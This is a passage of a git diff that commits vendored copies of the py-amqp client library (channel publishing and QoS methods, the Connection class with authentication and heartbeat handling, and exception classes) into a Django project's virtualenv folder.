'redelivered': redelivered, + 'exchange': exchange, + 'routing_key': routing_key, + 'message_count': message_count + } + return msg + + def _basic_publish(self, msg, exchange='', routing_key='', + mandatory=False, immediate=False, timeout=None, + confirm_timeout=None, + argsig='Bssbb'): + """Publish a message. + + This method publishes a message to a specific exchange. The + message will be routed to queues as defined by the exchange + configuration and distributed to any active consumers when the + transaction, if any, is committed. + + When channel is in confirm mode (when Connection parameter + confirm_publish is set to True), each message is confirmed. + When broker rejects published message (e.g. due internal broker + constrains), MessageNacked exception is raised and + set confirm_timeout to wait maximum confirm_timeout second + for message to confirm. + + PARAMETERS: + exchange: shortstr + + Specifies the name of the exchange to publish to. The + exchange name can be empty, meaning the default + exchange. If the exchange name is specified, and that + exchange does not exist, the server will raise a + channel exception. + + RULE: + + The server MUST accept a blank exchange name to + mean the default exchange. + + RULE: + + The exchange MAY refuse basic content in which + case it MUST raise a channel exception with reply + code 540 (not implemented). + + routing_key: shortstr + + Message routing key + + Specifies the routing key for the message. The + routing key is used for routing messages depending on + the exchange configuration. + + mandatory: boolean + + indicate mandatory routing + + This flag tells the server how to react if the message + cannot be routed to a queue. If this flag is True, the + server will return an unroutable message with a Return + method. If this flag is False, the server silently + drops the message. + + RULE: + + The server SHOULD implement the mandatory flag. + + immediate: boolean + + request immediate delivery + + This flag tells the server how to react if the message + cannot be routed to a queue consumer immediately. If + this flag is set, the server will return an + undeliverable message with a Return method. If this + flag is zero, the server will queue the message, but + with no guarantee that it will ever be consumed. + + RULE: + + The server SHOULD implement the immediate flag. + + timeout: short + + timeout for publish + + Set timeout to wait maximum timeout second + for message to publish. + + confirm_timeout: short + + confirm_timeout for publish in confirm mode + + When the channel is in confirm mode set + confirm_timeout to wait maximum confirm_timeout + second for message to confirm. + + """ + if not self.connection: + raise RecoverableConnectionError( + 'basic_publish: connection closed') + + capabilities = self.connection. \ + client_properties.get('capabilities', {}) + if capabilities.get('connection.blocked', False): + try: + # Check if an event was sent, such as the out of memory message + self.connection.drain_events(timeout=0) + except socket.timeout: + pass + + try: + with self.connection.transport.having_timeout(timeout): + return self.send_method( + spec.Basic.Publish, argsig, + (0, exchange, routing_key, mandatory, immediate), msg + ) + except socket.timeout: + raise RecoverableChannelError('basic_publish: timed out') + + basic_publish = _basic_publish + + def basic_publish_confirm(self, *args, **kwargs): + confirm_timeout = kwargs.pop('confirm_timeout', None) + + def confirm_handler(method, *args): + # When RMQ nacks message we are raising MessageNacked exception + if method == spec.Basic.Nack: + raise MessageNacked() + + if not self._confirm_selected: + self._confirm_selected = True + self.confirm_select() + ret = self._basic_publish(*args, **kwargs) + # Waiting for confirmation of message. + timeout = confirm_timeout or kwargs.get('timeout', None) + self.wait([spec.Basic.Ack, spec.Basic.Nack], + callback=confirm_handler, + timeout=timeout) + return ret + + def basic_qos(self, prefetch_size, prefetch_count, a_global, + argsig='lBb'): + """Specify quality of service. + + This method requests a specific quality of service. The QoS + can be specified for the current channel or for all channels + on the connection. The particular properties and semantics of + a qos method always depend on the content class semantics. + Though the qos method could in principle apply to both peers, + it is currently meaningful only for the server. + + PARAMETERS: + prefetch_size: long + + prefetch window in octets + + The client can request that messages be sent in + advance so that when the client finishes processing a + message, the following message is already held + locally, rather than needing to be sent down the + channel. Prefetching gives a performance improvement. + This field specifies the prefetch window size in + octets. The server will send a message in advance if + it is equal to or smaller in size than the available + prefetch size (and also falls into other prefetch + limits). May be set to zero, meaning "no specific + limit", although other prefetch limits may still + apply. The prefetch-size is ignored if the no-ack + option is set. + + RULE: + + The server MUST ignore this setting when the + client is not processing any messages - i.e. the + prefetch size does not limit the transfer of + single messages to a client, only the sending in + advance of more messages while the client still + has one or more unacknowledged messages. + + prefetch_count: short + + prefetch window in messages + + Specifies a prefetch window in terms of whole + messages. This field may be used in combination with + the prefetch-size field; a message will only be sent + in advance if both prefetch windows (and those at the + channel and connection level) allow it. The prefetch- + count is ignored if the no-ack option is set. + + RULE: + + The server MAY send less data in advance than + allowed by the client's specified prefetch windows + but it MUST NOT send more. + + a_global: boolean + + Defines a scope of QoS. Semantics of this parameter differs + between AMQP 0-9-1 standard and RabbitMQ broker: + + MEANING IN AMQP 0-9-1: + False: shared across all consumers on the channel + True: shared across all consumers on the connection + MEANING IN RABBITMQ: + False: applied separately to each new consumer + on the channel + True: shared across all consumers on the channel + """ + return self.send_method( + spec.Basic.Qos, argsig, (prefetch_size, prefetch_count, a_global), + wait=spec.Basic.QosOk, + ) + + def basic_recover(self, requeue=False): + """Redeliver unacknowledged messages. + + This method asks the broker to redeliver all unacknowledged + messages on a specified channel. Zero or more messages may be + redelivered. This method is only allowed on non-transacted + channels. + + RULE: + + The server MUST set the redelivered flag on all messages + that are resent. + + RULE: + + The server MUST raise a channel exception if this is + called on a transacted channel. + + PARAMETERS: + requeue: boolean + + requeue the message + + If this field is False, the message will be redelivered + to the original recipient. If this field is True, the + server will attempt to requeue the message, + potentially then delivering it to an alternative + subscriber. + """ + return self.send_method(spec.Basic.Recover, 'b', (requeue,)) + + def basic_recover_async(self, requeue=False): + return self.send_method(spec.Basic.RecoverAsync, 'b', (requeue,)) + + def basic_reject(self, delivery_tag, requeue, argsig='Lb'): + """Reject an incoming message. + + This method allows a client to reject a message. It can be + used to interrupt and cancel large incoming messages, or + return untreatable messages to their original queue. + + RULE: + + The server SHOULD be capable of accepting and process the + Reject method while sending message content with a Deliver + or Get-Ok method. I.e. the server should read and process + incoming methods while sending output frames. To cancel a + partially-send content, the server sends a content body + frame of size 1 (i.e. with no data except the frame-end + octet). + + RULE: + + The server SHOULD interpret this method as meaning that + the client is unable to process the message at this time. + + RULE: + + A client MUST NOT use this method as a means of selecting + messages to process. A rejected message MAY be discarded + or dead-lettered, not necessarily passed to another + client. + + PARAMETERS: + delivery_tag: longlong + + server-assigned delivery tag + + The server-assigned and channel-specific delivery tag + + RULE: + + The delivery tag is valid only within the channel + from which the message was received. I.e. a client + MUST NOT receive a message on one channel and then + acknowledge it on another. + + RULE: + + The server MUST NOT use a zero value for delivery + tags. Zero is reserved for client use, meaning "all + messages so far received". + + requeue: boolean + + requeue the message + + If this field is False, the message will be discarded. + If this field is True, the server will attempt to + requeue the message. + + RULE: + + The server MUST NOT deliver the message to the + same client within the context of the current + channel. The recommended strategy is to attempt + to deliver the message to an alternative consumer, + and if that is not possible, to move the message + to a dead-letter queue. The server MAY use more + sophisticated tracking to hold the message on the + queue and redeliver it to the same client at a + later stage. + """ + return self.send_method( + spec.Basic.Reject, argsig, (delivery_tag, requeue), + ) + + def _on_basic_return(self, reply_code, reply_text, + exchange, routing_key, message): + """Return a failed message. + + This method returns an undeliverable message that was + published with the "immediate" flag set, or an unroutable + message published with the "mandatory" flag set. The reply + code and text provide information about the reason that the + message was undeliverable. + + PARAMETERS: + reply_code: short + + The reply code. The AMQ reply codes are defined in AMQ + RFC 011. + + reply_text: shortstr + + The localised reply text. This text can be logged as an + aid to resolving issues. + + exchange: shortstr + + Specifies the name of the exchange that the message + was originally published to. + + routing_key: shortstr + + Message routing key + + Specifies the routing key name specified when the + message was published. + """ + exc = error_for_code( + reply_code, reply_text, spec.Basic.Return, ChannelError, + ) + handlers = self.events.get('basic_return') + if not handlers: + raise exc + for callback in handlers: + callback(exc, exchange, routing_key, message) + + ############# + # + # Tx + # + # + # work with standard transactions + # + # Standard transactions provide so-called "1.5 phase commit". We + # can ensure that work is never lost, but there is a chance of + # confirmations being lost, so that messages may be resent. + # Applications that use standard transactions must be able to + # detect and ignore duplicate messages. + # + # GRAMMAR:: + # + # tx = C:SELECT S:SELECT-OK + # / C:COMMIT S:COMMIT-OK + # / C:ROLLBACK S:ROLLBACK-OK + # + # RULE: + # + # An client using standard transactions SHOULD be able to + # track all messages received within a reasonable period, and + # thus detect and reject duplicates of the same message. It + # SHOULD NOT pass these to the application layer. + # + # + + def tx_commit(self): + """Commit the current transaction. + + This method commits all messages published and acknowledged in + the current transaction. A new transaction starts immediately + after a commit. + """ + return self.send_method(spec.Tx.Commit, wait=spec.Tx.CommitOk) + + def tx_rollback(self): + """Abandon the current transaction. + + This method abandons all messages published and acknowledged + in the current transaction. A new transaction starts + immediately after a rollback. + """ + return self.send_method(spec.Tx.Rollback, wait=spec.Tx.RollbackOk) + + def tx_select(self): + """Select standard transaction mode. + + This method sets the channel to use standard transactions. + The client must use this method at least once on a channel + before using the Commit or Rollback methods. + """ + return self.send_method(spec.Tx.Select, wait=spec.Tx.SelectOk) + + def confirm_select(self, nowait=False): + """Enable publisher confirms for this channel. + + Note: This is an RabbitMQ extension. + + Can now be used if the channel is in transactional mode. + + :param nowait: + If set, the server will not respond to the method. + The client should not wait for a reply method. If the + server could not complete the method it will raise a channel + or connection exception. + """ + return self.send_method( + spec.Confirm.Select, 'b', (nowait,), + wait=None if nowait else spec.Confirm.SelectOk, + ) + + def _on_basic_ack(self, delivery_tag, multiple): + for callback in self.events['basic_ack']: + callback(delivery_tag, multiple) + + def _on_basic_nack(self, delivery_tag, multiple): + for callback in self.events['basic_nack']: + callback(delivery_tag, multiple) diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/connection.py b/django_lottopy/lib/python3.10/site-packages/amqp/connection.py new file mode 100644 index 00000000..24bfb667 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/connection.py @@ -0,0 +1,778 @@ +"""AMQP Connections.""" +# Copyright (C) 2007-2008 Barry Pederson + +import logging +import socket +import uuid +import warnings +from array import array +from time import monotonic + +from vine import ensure_promise + +from . import __version__, sasl, spec +from .abstract_channel import AbstractChannel +from .channel import Channel +from .exceptions import (AMQPDeprecationWarning, ChannelError, ConnectionError, + ConnectionForced, RecoverableChannelError, + RecoverableConnectionError, ResourceError, + error_for_code) +from .method_framing import frame_handler, frame_writer +from .transport import Transport + +try: + from ssl import SSLError +except ImportError: # pragma: no cover + class SSLError(Exception): # noqa + pass + +W_FORCE_CONNECT = """\ +The .{attr} attribute on the connection was accessed before +the connection was established. This is supported for now, but will +be deprecated in amqp 2.2.0. + +Since amqp 2.0 you have to explicitly call Connection.connect() +before using the connection. +""" + +START_DEBUG_FMT = """ +Start from server, version: %d.%d, properties: %s, mechanisms: %s, locales: %s +""".strip() + +__all__ = ('Connection',) + +AMQP_LOGGER = logging.getLogger('amqp') +AMQP_HEARTBEAT_LOGGER = logging.getLogger( + 'amqp.connection.Connection.heartbeat_tick' +) + +#: Default map for :attr:`Connection.library_properties` +LIBRARY_PROPERTIES = { + 'product': 'py-amqp', + 'product_version': __version__, +} + +#: Default map for :attr:`Connection.negotiate_capabilities` +NEGOTIATE_CAPABILITIES = { + 'consumer_cancel_notify': True, + 'connection.blocked': True, + 'authentication_failure_close': True, +} + + +class Connection(AbstractChannel): + """AMQP Connection. + + The connection class provides methods for a client to establish a + network connection to a server, and for both peers to operate the + connection thereafter. + + GRAMMAR:: + + connection = open-connection *use-connection close-connection + open-connection = C:protocol-header + S:START C:START-OK + *challenge + S:TUNE C:TUNE-OK + C:OPEN S:OPEN-OK + challenge = S:SECURE C:SECURE-OK + use-connection = *channel + close-connection = C:CLOSE S:CLOSE-OK + / S:CLOSE C:CLOSE-OK + Create a connection to the specified host, which should be + a 'host[:port]', such as 'localhost', or '1.2.3.4:5672' + (defaults to 'localhost', if a port is not specified then + 5672 is used) + + Authentication can be controlled by passing one or more + `amqp.sasl.SASL` instances as the `authentication` parameter, or + setting the `login_method` string to one of the supported methods: + 'GSSAPI', 'EXTERNAL', 'AMQPLAIN', or 'PLAIN'. + Otherwise authentication will be performed using any supported method + preferred by the server. Userid and passwords apply to AMQPLAIN and + PLAIN authentication, whereas on GSSAPI only userid will be used as the + client name. For EXTERNAL authentication both userid and password are + ignored. + + The 'ssl' parameter may be simply True/False, or + a dictionary of options to pass to :class:`ssl.SSLContext` such as + requiring certain certificates. For details, refer ``ssl`` parameter of + :class:`~amqp.transport.SSLTransport`. + + The "socket_settings" parameter is a dictionary defining tcp + settings which will be applied as socket options. + + When "confirm_publish" is set to True, the channel is put to + confirm mode. In this mode, each published message is + confirmed using Publisher confirms RabbitMQ extension. + """ + + Channel = Channel + + #: Mapping of protocol extensions to enable. + #: The server will report these in server_properties[capabilities], + #: and if a key in this map is present the client will tell the + #: server to either enable or disable the capability depending + #: on the value set in this map. + #: For example with: + #: negotiate_capabilities = { + #: 'consumer_cancel_notify': True, + #: } + #: The client will enable this capability if the server reports + #: support for it, but if the value is False the client will + #: disable the capability. + negotiate_capabilities = NEGOTIATE_CAPABILITIES + + #: These are sent to the server to announce what features + #: we support, type of client etc. + library_properties = LIBRARY_PROPERTIES + + #: Final heartbeat interval value (in float seconds) after negotiation + heartbeat = None + + #: Original heartbeat interval value proposed by client. + client_heartbeat = None + + #: Original heartbeat interval proposed by server. + server_heartbeat = None + + #: Time of last heartbeat sent (in monotonic time, if available). + last_heartbeat_sent = 0 + + #: Time of last heartbeat received (in monotonic time, if available). + last_heartbeat_received = 0 + + #: Number of successful writes to socket. + bytes_sent = 0 + + #: Number of successful reads from socket. + bytes_recv = 0 + + #: Number of bytes sent to socket at the last heartbeat check. + prev_sent = None + + #: Number of bytes received from socket at the last heartbeat check. + prev_recv = None + + _METHODS = { + spec.method(spec.Connection.Start, 'ooFSS'), + spec.method(spec.Connection.OpenOk), + spec.method(spec.Connection.Secure, 's'), + spec.method(spec.Connection.Tune, 'BlB'), + spec.method(spec.Connection.Close, 'BsBB'), + spec.method(spec.Connection.Blocked), + spec.method(spec.Connection.Unblocked), + spec.method(spec.Connection.CloseOk), + } + _METHODS = {m.method_sig: m for m in _METHODS} + + _ALLOWED_METHODS_WHEN_CLOSING = ( + spec.Connection.Close, spec.Connection.CloseOk + ) + + connection_errors = ( + ConnectionError, + socket.error, + IOError, + OSError, + ) + channel_errors = (ChannelError,) + recoverable_connection_errors = ( + RecoverableConnectionError, + socket.error, + IOError, + OSError, + ) + recoverable_channel_errors = ( + RecoverableChannelError, + ) + + def __init__(self, host='localhost:5672', userid='guest', password='guest', + login_method=None, login_response=None, + authentication=(), + virtual_host='/', locale='en_US', client_properties=None, + ssl=False, connect_timeout=None, channel_max=None, + frame_max=None, heartbeat=0, on_open=None, on_blocked=None, + on_unblocked=None, confirm_publish=False, + on_tune_ok=None, read_timeout=None, write_timeout=None, + socket_settings=None, frame_handler=frame_handler, + frame_writer=frame_writer, **kwargs): + self._connection_id = uuid.uuid4().hex + channel_max = channel_max or 65535 + frame_max = frame_max or 131072 + if authentication: + if isinstance(authentication, sasl.SASL): + authentication = (authentication,) + self.authentication = authentication + elif login_method is not None: + if login_method == 'GSSAPI': + auth = sasl.GSSAPI(userid) + elif login_method == 'EXTERNAL': + auth = sasl.EXTERNAL() + elif login_method == 'AMQPLAIN': + if userid is None or password is None: + raise ValueError( + "Must supply authentication or userid/password") + auth = sasl.AMQPLAIN(userid, password) + elif login_method == 'PLAIN': + if userid is None or password is None: + raise ValueError( + "Must supply authentication or userid/password") + auth = sasl.PLAIN(userid, password) + elif login_response is not None: + auth = sasl.RAW(login_method, login_response) + else: + raise ValueError("Invalid login method", login_method) + self.authentication = (auth,) + else: + self.authentication = (sasl.GSSAPI(userid, fail_soft=True), + sasl.EXTERNAL(), + sasl.AMQPLAIN(userid, password), + sasl.PLAIN(userid, password)) + + self.client_properties = dict( + self.library_properties, **client_properties or {} + ) + self.locale = locale + self.host = host + self.virtual_host = virtual_host + self.on_tune_ok = ensure_promise(on_tune_ok) + + self.frame_handler_cls = frame_handler + self.frame_writer_cls = frame_writer + + self._handshake_complete = False + + self.channels = {} + # The connection object itself is treated as channel 0 + super().__init__(self, 0) + + self._frame_writer = None + self._on_inbound_frame = None + self._transport = None + + # Properties set in the Tune method + self.channel_max = channel_max + self.frame_max = frame_max + self.client_heartbeat = heartbeat + + self.confirm_publish = confirm_publish + self.ssl = ssl + self.read_timeout = read_timeout + self.write_timeout = write_timeout + self.socket_settings = socket_settings + + # Callbacks + self.on_blocked = on_blocked + self.on_unblocked = on_unblocked + self.on_open = ensure_promise(on_open) + + self._used_channel_ids = array('H') + + # Properties set in the Start method + self.version_major = 0 + self.version_minor = 0 + self.server_properties = {} + self.mechanisms = [] + self.locales = [] + + self.connect_timeout = connect_timeout + + def __repr__(self): + if self._transport: + return f'' + else: + return f'' + + def __enter__(self): + self.connect() + return self + + def __exit__(self, *eargs): + self.close() + + def then(self, on_success, on_error=None): + return self.on_open.then(on_success, on_error) + + def _setup_listeners(self): + self._callbacks.update({ + spec.Connection.Start: self._on_start, + spec.Connection.OpenOk: self._on_open_ok, + spec.Connection.Secure: self._on_secure, + spec.Connection.Tune: self._on_tune, + spec.Connection.Close: self._on_close, + spec.Connection.Blocked: self._on_blocked, + spec.Connection.Unblocked: self._on_unblocked, + spec.Connection.CloseOk: self._on_close_ok, + }) + + def connect(self, callback=None): + # Let the transport.py module setup the actual + # socket connection to the broker. + # + if self.connected: + return callback() if callback else None + try: + self.transport = self.Transport( + self.host, self.connect_timeout, self.ssl, + self.read_timeout, self.write_timeout, + socket_settings=self.socket_settings, + ) + self.transport.connect() + self.on_inbound_frame = self.frame_handler_cls( + self, self.on_inbound_method) + self.frame_writer = self.frame_writer_cls(self, self.transport) + + while not self._handshake_complete: + self.drain_events(timeout=self.connect_timeout) + + except (OSError, SSLError): + self.collect() + raise + + def _warn_force_connect(self, attr): + warnings.warn(AMQPDeprecationWarning( + W_FORCE_CONNECT.format(attr=attr))) + + @property + def transport(self): + if self._transport is None: + self._warn_force_connect('transport') + self.connect() + return self._transport + + @transport.setter + def transport(self, transport): + self._transport = transport + + @property + def on_inbound_frame(self): + if self._on_inbound_frame is None: + self._warn_force_connect('on_inbound_frame') + self.connect() + return self._on_inbound_frame + + @on_inbound_frame.setter + def on_inbound_frame(self, on_inbound_frame): + self._on_inbound_frame = on_inbound_frame + + @property + def frame_writer(self): + if self._frame_writer is None: + self._warn_force_connect('frame_writer') + self.connect() + return self._frame_writer + + @frame_writer.setter + def frame_writer(self, frame_writer): + self._frame_writer = frame_writer + + def _on_start(self, version_major, version_minor, server_properties, + mechanisms, locales, argsig='FsSs'): + client_properties = self.client_properties + self.version_major = version_major + self.version_minor = version_minor + self.server_properties = server_properties + if isinstance(mechanisms, str): + mechanisms = mechanisms.encode('utf-8') + self.mechanisms = mechanisms.split(b' ') + self.locales = locales.split(' ') + AMQP_LOGGER.debug( + START_DEBUG_FMT, + self.version_major, self.version_minor, + self.server_properties, self.mechanisms, self.locales, + ) + + # Negotiate protocol extensions (capabilities) + scap = server_properties.get('capabilities') or {} + cap = client_properties.setdefault('capabilities', {}) + cap.update({ + wanted_cap: enable_cap + for wanted_cap, enable_cap in self.negotiate_capabilities.items() + if scap.get(wanted_cap) + }) + if not cap: + # no capabilities, server may not react well to having + # this key present in client_properties, so we remove it. + client_properties.pop('capabilities', None) + + for authentication in self.authentication: + if authentication.mechanism in self.mechanisms: + login_response = authentication.start(self) + if login_response is not NotImplemented: + break + else: + raise ConnectionError( + "Couldn't find appropriate auth mechanism " + "(can offer: {}; available: {})".format( + b", ".join(m.mechanism + for m in self.authentication + if m.mechanism).decode(), + b", ".join(self.mechanisms).decode())) + + self.send_method( + spec.Connection.StartOk, argsig, + (client_properties, authentication.mechanism, + login_response, self.locale), + ) + + def _on_secure(self, challenge): + pass + + def _on_tune(self, channel_max, frame_max, server_heartbeat, argsig='BlB'): + client_heartbeat = self.client_heartbeat or 0 + self.channel_max = channel_max or self.channel_max + self.frame_max = frame_max or self.frame_max + self.server_heartbeat = server_heartbeat or 0 + + # negotiate the heartbeat interval to the smaller of the + # specified values + if self.server_heartbeat == 0 or client_heartbeat == 0: + self.heartbeat = max(self.server_heartbeat, client_heartbeat) + else: + self.heartbeat = min(self.server_heartbeat, client_heartbeat) + + # Ignore server heartbeat if client_heartbeat is disabled + if not self.client_heartbeat: + self.heartbeat = 0 + + self.send_method( + spec.Connection.TuneOk, argsig, + (self.channel_max, self.frame_max, self.heartbeat), + callback=self._on_tune_sent, + ) + + def _on_tune_sent(self, argsig='ssb'): + self.send_method( + spec.Connection.Open, argsig, (self.virtual_host, '', False), + ) + + def _on_open_ok(self): + self._handshake_complete = True + self.on_open(self) + + def Transport(self, host, connect_timeout, + ssl=False, read_timeout=None, write_timeout=None, + socket_settings=None, **kwargs): + return Transport( + host, connect_timeout=connect_timeout, ssl=ssl, + read_timeout=read_timeout, write_timeout=write_timeout, + socket_settings=socket_settings, **kwargs) + + @property + def connected(self): + return self._transport and self._transport.connected + + def collect(self): + if self._transport: + self._transport.close() + + if self.channels: + # Copy all the channels except self since the channels + # dictionary changes during the collection process. + channels = [ + ch for ch in self.channels.values() + if ch is not self + ] + + for ch in channels: + ch.collect() + self._transport = self.connection = self.channels = None + + def _get_free_channel_id(self): + # Cast to a set for fast lookups, and keep stored as an array for lower memory usage. + used_channel_ids = set(self._used_channel_ids) + + for channel_id in range(1, self.channel_max + 1): + if channel_id not in used_channel_ids: + self._used_channel_ids.append(channel_id) + return channel_id + + raise ResourceError( + 'No free channel ids, current={}, channel_max={}'.format( + len(self.channels), self.channel_max), spec.Channel.Open) + + def _claim_channel_id(self, channel_id): + if channel_id in self._used_channel_ids: + raise ConnectionError(f'Channel {channel_id!r} already open') + else: + self._used_channel_ids.append(channel_id) + return channel_id + + def channel(self, channel_id=None, callback=None): + """Create new channel. + + Fetch a Channel object identified by the numeric channel_id, or + create that object if it doesn't already exist. + """ + if self.channels is None: + raise RecoverableConnectionError('Connection already closed.') + + try: + return self.channels[channel_id] + except KeyError: + channel = self.Channel(self, channel_id, on_open=callback) + channel.open() + return channel + + def is_alive(self): + raise NotImplementedError('Use AMQP heartbeats') + + def drain_events(self, timeout=None): + # read until message is ready + while not self.blocking_read(timeout): + pass + + def blocking_read(self, timeout=None): + with self.transport.having_timeout(timeout): + frame = self.transport.read_frame() + return self.on_inbound_frame(frame) + + def on_inbound_method(self, channel_id, method_sig, payload, content): + if self.channels is None: + raise RecoverableConnectionError('Connection already closed') + + return self.channels[channel_id].dispatch_method( + method_sig, payload, content, + ) + + def close(self, reply_code=0, reply_text='', method_sig=(0, 0), + argsig='BsBB'): + """Request a connection close. + + This method indicates that the sender wants to close the + connection. This may be due to internal conditions (e.g. a + forced shut-down) or due to an error handling a specific + method, i.e. an exception. When a close is due to an + exception, the sender provides the class and method id of the + method which caused the exception. + + RULE: + + After sending this method any received method except the + Close-OK method MUST be discarded. + + RULE: + + The peer sending this method MAY use a counter or timeout + to detect failure of the other peer to respond correctly + with the Close-OK method. + + RULE: + + When a server receives the Close method from a client it + MUST delete all server-side resources associated with the + client's context. A client CANNOT reconnect to a context + after sending or receiving a Close method. + + PARAMETERS: + reply_code: short + + The reply code. The AMQ reply codes are defined in AMQ + RFC 011. + + reply_text: shortstr + + The localised reply text. This text can be logged as an + aid to resolving issues. + + class_id: short + + failing method class + + When the close is provoked by a method exception, this + is the class of the method. + + method_id: short + + failing method ID + + When the close is provoked by a method exception, this + is the ID of the method. + """ + if self._transport is None: + # already closed + return + + try: + self.is_closing = True + return self.send_method( + spec.Connection.Close, argsig, + (reply_code, reply_text, method_sig[0], method_sig[1]), + wait=spec.Connection.CloseOk, + ) + except (OSError, SSLError): + # close connection + self.collect() + raise + finally: + self.is_closing = False + + def _on_close(self, reply_code, reply_text, class_id, method_id): + """Request a connection close. + + This method indicates that the sender wants to close the + connection. This may be due to internal conditions (e.g. a + forced shut-down) or due to an error handling a specific + method, i.e. an exception. When a close is due to an + exception, the sender provides the class and method id of the + method which caused the exception. + + RULE: + + After sending this method any received method except the + Close-OK method MUST be discarded. + + RULE: + + The peer sending this method MAY use a counter or timeout + to detect failure of the other peer to respond correctly + with the Close-OK method. + + RULE: + + When a server receives the Close method from a client it + MUST delete all server-side resources associated with the + client's context. A client CANNOT reconnect to a context + after sending or receiving a Close method. + + PARAMETERS: + reply_code: short + + The reply code. The AMQ reply codes are defined in AMQ + RFC 011. + + reply_text: shortstr + + The localised reply text. This text can be logged as an + aid to resolving issues. + + class_id: short + + failing method class + + When the close is provoked by a method exception, this + is the class of the method. + + method_id: short + + failing method ID + + When the close is provoked by a method exception, this + is the ID of the method. + """ + self._x_close_ok() + raise error_for_code(reply_code, reply_text, + (class_id, method_id), ConnectionError) + + def _x_close_ok(self): + """Confirm a connection close. + + This method confirms a Connection.Close method and tells the + recipient that it is safe to release resources for the + connection and close the socket. + + RULE: + A peer that detects a socket closure without having + received a Close-Ok handshake method SHOULD log the error. + """ + self.send_method(spec.Connection.CloseOk, callback=self._on_close_ok) + + def _on_close_ok(self): + """Confirm a connection close. + + This method confirms a Connection.Close method and tells the + recipient that it is safe to release resources for the + connection and close the socket. + + RULE: + + A peer that detects a socket closure without having + received a Close-Ok handshake method SHOULD log the error. + """ + self.collect() + + def _on_blocked(self): + """Callback called when connection blocked. + + Notes: + This is an RabbitMQ Extension. + """ + reason = 'connection blocked, see broker logs' + if self.on_blocked: + return self.on_blocked(reason) + + def _on_unblocked(self): + if self.on_unblocked: + return self.on_unblocked() + + def send_heartbeat(self): + self.frame_writer(8, 0, None, None, None) + + def heartbeat_tick(self, rate=2): + """Send heartbeat packets if necessary. + + Raises: + ~amqp.exceptions.ConnectionForvced: if none have been + received recently. + + Note: + This should be called frequently, on the order of + once per second. + + Keyword Arguments: + rate (int): Previously used, but ignored now. + """ + AMQP_HEARTBEAT_LOGGER.debug('heartbeat_tick : for connection %s', + self._connection_id) + if not self.heartbeat: + return + + # treat actual data exchange in either direction as a heartbeat + sent_now = self.bytes_sent + recv_now = self.bytes_recv + if self.prev_sent is None or self.prev_sent != sent_now: + self.last_heartbeat_sent = monotonic() + if self.prev_recv is None or self.prev_recv != recv_now: + self.last_heartbeat_received = monotonic() + + now = monotonic() + AMQP_HEARTBEAT_LOGGER.debug( + 'heartbeat_tick : Prev sent/recv: %s/%s, ' + 'now - %s/%s, monotonic - %s, ' + 'last_heartbeat_sent - %s, heartbeat int. - %s ' + 'for connection %s', + self.prev_sent, self.prev_recv, + sent_now, recv_now, now, + self.last_heartbeat_sent, + self.heartbeat, + self._connection_id, + ) + + self.prev_sent, self.prev_recv = sent_now, recv_now + + # send a heartbeat if it's time to do so + if now > self.last_heartbeat_sent + self.heartbeat: + AMQP_HEARTBEAT_LOGGER.debug( + 'heartbeat_tick: sending heartbeat for connection %s', + self._connection_id) + self.send_heartbeat() + self.last_heartbeat_sent = monotonic() + + # if we've missed two intervals' heartbeats, fail; this gives the + # server enough time to send heartbeats a little late + two_heartbeats = 2 * self.heartbeat + two_heartbeats_interval = self.last_heartbeat_received + two_heartbeats + heartbeats_missed = two_heartbeats_interval < monotonic() + if self.last_heartbeat_received and heartbeats_missed: + raise ConnectionForced('Too many heartbeats missed') + + @property + def sock(self): + return self.transport.sock + + @property + def server_capabilities(self): + return self.server_properties.get('capabilities') or {} diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/exceptions.py b/django_lottopy/lib/python3.10/site-packages/amqp/exceptions.py new file mode 100644 index 00000000..0098dba9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/exceptions.py @@ -0,0 +1,288 @@ +"""Exceptions used by amqp.""" +# Copyright (C) 2007-2008 Barry Pederson + +from struct import pack, unpack + +__all__ = ( + 'AMQPError', + 'ConnectionError', 'ChannelError', + 'RecoverableConnectionError', 'IrrecoverableConnectionError', + 'RecoverableChannelError', 'IrrecoverableChannelError', + 'ConsumerCancelled', 'ContentTooLarge', 'NoConsumers', + 'ConnectionForced', 'InvalidPath', 'AccessRefused', 'NotFound', + 'ResourceLocked', 'PreconditionFailed', 'FrameError', 'FrameSyntaxError', + 'InvalidCommand', 'ChannelNotOpen', 'UnexpectedFrame', 'ResourceError', + 'NotAllowed', 'AMQPNotImplementedError', 'InternalError', + 'MessageNacked', + 'AMQPDeprecationWarning', +) + + +class AMQPDeprecationWarning(UserWarning): + """Warning for deprecated things.""" + + +class MessageNacked(Exception): + """Message was nacked by broker.""" + + +class AMQPError(Exception): + """Base class for all AMQP exceptions.""" + + code = 0 + + def __init__(self, reply_text=None, method_sig=None, + method_name=None, reply_code=None): + self.message = reply_text + self.reply_code = reply_code or self.code + self.reply_text = reply_text + self.method_sig = method_sig + self.method_name = method_name or '' + if method_sig and not self.method_name: + self.method_name = METHOD_NAME_MAP.get(method_sig, '') + Exception.__init__(self, reply_code, + reply_text, method_sig, self.method_name) + + def __str__(self): + if self.method: + return '{0.method}: ({0.reply_code}) {0.reply_text}'.format(self) + return self.reply_text or '<{}: unknown error>'.format( + type(self).__name__ + ) + + @property + def method(self): + return self.method_name or self.method_sig + + +class ConnectionError(AMQPError): + """AMQP Connection Error.""" + + +class ChannelError(AMQPError): + """AMQP Channel Error.""" + + +class RecoverableChannelError(ChannelError): + """Exception class for recoverable channel errors.""" + + +class IrrecoverableChannelError(ChannelError): + """Exception class for irrecoverable channel errors.""" + + +class RecoverableConnectionError(ConnectionError): + """Exception class for recoverable connection errors.""" + + +class IrrecoverableConnectionError(ConnectionError): + """Exception class for irrecoverable connection errors.""" + + +class Blocked(RecoverableConnectionError): + """AMQP Connection Blocked Predicate.""" + + +class ConsumerCancelled(RecoverableConnectionError): + """AMQP Consumer Cancelled Predicate.""" + + +class ContentTooLarge(RecoverableChannelError): + """AMQP Content Too Large Error.""" + + code = 311 + + +class NoConsumers(RecoverableChannelError): + """AMQP No Consumers Error.""" + + code = 313 + + +class ConnectionForced(RecoverableConnectionError): + """AMQP Connection Forced Error.""" + + code = 320 + + +class InvalidPath(IrrecoverableConnectionError): + """AMQP Invalid Path Error.""" + + code = 402 + + +class AccessRefused(IrrecoverableChannelError): + """AMQP Access Refused Error.""" + + code = 403 + + +class NotFound(IrrecoverableChannelError): + """AMQP Not Found Error.""" + + code = 404 + + +class 